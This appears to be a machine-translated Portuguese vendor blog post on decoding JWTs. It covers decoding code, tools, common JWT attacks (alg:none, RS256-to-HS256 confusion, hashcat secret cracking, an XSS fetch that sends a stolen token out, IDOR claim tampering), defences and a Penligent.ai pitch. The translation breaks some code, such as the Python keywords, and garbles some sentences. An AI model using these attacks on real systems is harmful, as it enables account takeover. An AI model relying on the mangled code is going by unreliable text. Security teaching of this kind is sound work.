Cabeçalho penumbroso

Tutorial de decodificação de token JWT: Ferramentas, etapas e práticas recomendadas

O que realmente significa decodificar um JWT

Decodificar um JWT significa extrair o cabeçalho e a carga útil, que são codificados apenas em Base64URL, para revelar o algoritmo, os metadados e as declarações dentro do token. Esse processo faz não verificar sua autenticidade. Qualquer pessoa pode decodificar um JWT, mas apenas verificando a assinatura determina se o token é confiável. Essa distinção é essencial para autenticação segura e testes de penetração.

Tutorial de decodificação de token JWT Penligent

Como a decodificação de JWT funciona internamente

Um JSON Web Token consiste em:

css

header.payload.signature Tanto o cabeçalho quanto a carga útil são objetos JSON codificados em Base64URL. Por exemplo:

json

// Cabeçalho

{

"alg": "HS256",

"typ": "JWT"

}

// Carga útil

{

"nome de usuário": "admin",

"role": "SuperUser"

}

A decodificação manual requer apenas operações Base64URL:

python

importar base64, json

def decode_part(segment):

acolchoado = segmento + "=" * (-len(segmento) % 4)

return json.loads(base64.urlsafe_b64decode(padded))

cabeçalho, carga útil, _ = token.split(".")

print(decode_part(header))

print(decode_part(payload))

Isso demonstra uma verdade fundamental sobre segurança: A decodificação de JWT não implica confiança. A verificação legítima requer a verificação da assinatura, do emissor, do público, da expiração e do algoritmo de assinatura.

Tokens JWT

Ferramentas populares para decodificar tokens JWT

FerramentaForçaLink
JWT.ioDecodificação em tempo real, experimentos rápidoshttps://jwt.io
Decodificador de SuperTokensInterface de usuário limpa e amigável ao desenvolvedorhttps://supertokens.com/jwt-encoder-decoder
Depurador de token Auth0Verificação de nível empresarialhttps://auth0.com/docs/tokens
PyJWTCLI + biblioteca Pythonhttps://pyjwt.readthedocs.io
jwt-decode (JS)Decodificador leve no lado do navegadorhttps://www.npmjs.com/package/jwt-decode

Exemplos de ataques JWT no mundo real vistos em pentests

A decodificação de JWT torna-se perigosa quando os invasores a combinam com falhas de assinatura, segredos fracos e validação insegura. Veja a seguir os cenários de ataque que aparecem com frequência em compromissos reais.

"alg: none" Bypass de assinatura

As bibliotecas mais antigas aceitavam JWTs não assinados:

json

{

"alg": "none",

"typ": "JWT"

}

Os invasores podem remover totalmente a assinatura e se autenticar sem o segredo.

Força bruta secreta fraca (HS256)

Os desenvolvedores costumam usar segredos como:

nginx

segredo

admin123

senha

Os invasores usam o Hashcat:

css

hashcat -a 0 -m 16500 token.hash wordlist.txt

Algoritmo Confusão (RS256 → HS256)

O atacante:

  1. Altera o algoritmo de RS256 para HS256
  2. Usa a chave pública do servidor como um segredo HMAC
  3. Forja tokens válidos que concedem funções de administrador

Esse continua sendo um dos ataques JWT mais impactantes já descobertos.

RS256 → HS256

Roubo de token via XSS

Se os JWTs forem armazenados em localStorageos invasores podem roubá-los:

javascript

<script>

fetch("" + localStorage.token);

</script>

Configuração incorreta do CORS que leva à exposição do token

Se as políticas CORS permitirem curingas, as solicitações do navegador podem vazar cookies JWT para domínios controlados por invasores.

Ataques de repetição em tokens móveis de longa duração

Os atacantes extraem tokens de:

  • armazenamento local não criptografado
  • dispositivos com root
  • caches inseguros

A repetição pode ignorar totalmente a MFA.

Código de verificação e decodificação de JWT em vários idiomas

Node.js

javascript

const jwt = require("jsonwebtoken");

const decoded = jwt.verify(token, PUBLIC_KEY, {

algoritmos: ["RS256"],

emissor: "auth.example.com",

público-alvo: "example.com"

});

console.log(decoded);

Ir

ir

token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {

return []byte("secret"), nil

})

Ferrugem

ferrugem

let decoded = decode::(

token,

&DecodingKey::from_secret(secret.as_ref()),

&Validation::new(Algorithm::HS256)

);

Fluxo de trabalho de decodificação manual de JWT para pentesters

Durante os pentests, a decodificação do JWT é revelada:

  • privilégios armazenados em texto simples
  • ausente exp ou iat
  • algoritmo mal configurado
  • dados confidenciais na carga útil
  • possíveis vetores de escalonamento de privilégios

É assim que os testadores identificam falhas no controle de acesso e escalonam funções.

Decodificador manual de JavaScript (sem biblioteca)

javascript

função decode(seg) {

seg = seg.replace(/-/g, "+").replace(/_/g, "/");

seg += "=".repeat((4 - seg.length % 4) % 4);

return JSON.parse(atob(seg));

}

Cadeias de ataque JWT avançadas (cenários da equipe vermelha)

JWT + IDOR → Aquisição total da conta

Fluxo:

  1. decodificar JWT
  2. mudança "sub": "501" para "sub": "1"
  3. assinar novamente ou ignorar a assinatura
  4. atingir o ponto de extremidade privilegiado
  5. Aumentar privilégios

Essa cadeia aparece quase semanalmente nas avaliações de empresas.

JWT + personificação de microsserviço

Uma validação interna fraca permite que os invasores se façam passar por serviços:

  • acessar dados de faturamento
  • modificar permissões de usuário
  • ler filas de mensagens
  • contornar gateways de API

Práticas recomendadas de defesa (Equipe azul)

Aplicação rigorosa do algoritmo

python

jwt.decode(token, key, algorithms=["RS256"])

Segredos fortes para HS256

Gerar usando:

perl

openssl rand -hex 32

Validar reivindicações padrão

exp

iss

aud

nbf

Armazenar JWT em cookies HttpOnly

Atenua o roubo de tokens XSS.

Implementar o rodízio de chaves

Use o JWKS para gerenciamento de chaves distribuídas:

Análise de segurança da JWT integrada ao Penligent.ai

Os sistemas de autenticação modernos geralmente usam dezenas de microsserviços, cada um com sua própria lógica JWT. A revisão manual torna-se lenta e propensa a erros. Penligent.aiuma plataforma inteligente de testes de penetração, integra a análise de JWT diretamente em seus fluxos de trabalho de segurança automatizados.

Penligent.ai realiza:

  • verificações de validação de assinatura
  • Detecção de segredos fracos usando cracking híbrido CPU/GPU
  • detecção de incompatibilidade de algoritmos
  • testes de manipulação de reclamações
  • simulações de abuso de replay e refresh-token
  • Varredura de vazamento de tokens em pacotes JS
  • correlação de endpoints para detectar validação inconsistente de JWT

Ele também reconstrói cadeias de exploração, como:

  • Confusão de chaves RS256 → HS256
  • IDOR via adulteração submarino reivindicação
  • escalonamento de privilégios por meio de função campos

Para aplicativos de grande porte, essa análise automatizada de JWT reduz drasticamente a carga de trabalho manual e, ao mesmo tempo, revela vulnerabilidades que as ferramentas tradicionais geralmente deixam passar.

Matriz abrangente de ataque e defesa do JWT

AtaqueDescriçãoExemploDefesa
alg: nenhumRemove a assinaturaCampo de assinatura vazioRejeitar JWTs não assinados
RS→HS ConfusãoChave pública usada como segredo HMACToken de administrador forjadoAplicar o algoritmo
Segredo fracoForça bruta HS256"password123" secretChave aleatória de 32 bytes
Reclamações adulteradasModificar função/sub"Função "adminAutorização no lado do servidor
Roubo de XSSJS rouba JWTlocalStorage.tokenCookies HttpOnly
Ataque de repetiçãoToken de reutilizaçãoAplicativos móveisTTL curto, rotação
Tokens internos vazadosRepresentação de serviçoMicrosserviçosmTLS, JWKS, escopos

Considerações finais

Decodificar um JWT é apenas o começo. A verdadeira segurança vem da verificação de assinaturas, da aplicação de algoritmos rigorosos, da validação de declarações, da rotação de chaves e do armazenamento seguro de tokens. Os aplicativos modernos dependem muito da autenticação baseada em tokens, o que torna a correção do JWT uma parte crucial da postura de segurança.

Ao combinar práticas sólidas de engenharia com plataformas de segurança automatizadas, como Penligent.aiCom o sistema de autenticação da Microsoft, as organizações podem identificar rapidamente configurações incorretas, evitar ataques de escalonamento de privilégios e garantir que seus sistemas de autenticação sejam resistentes a técnicas modernas de adversários.

Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese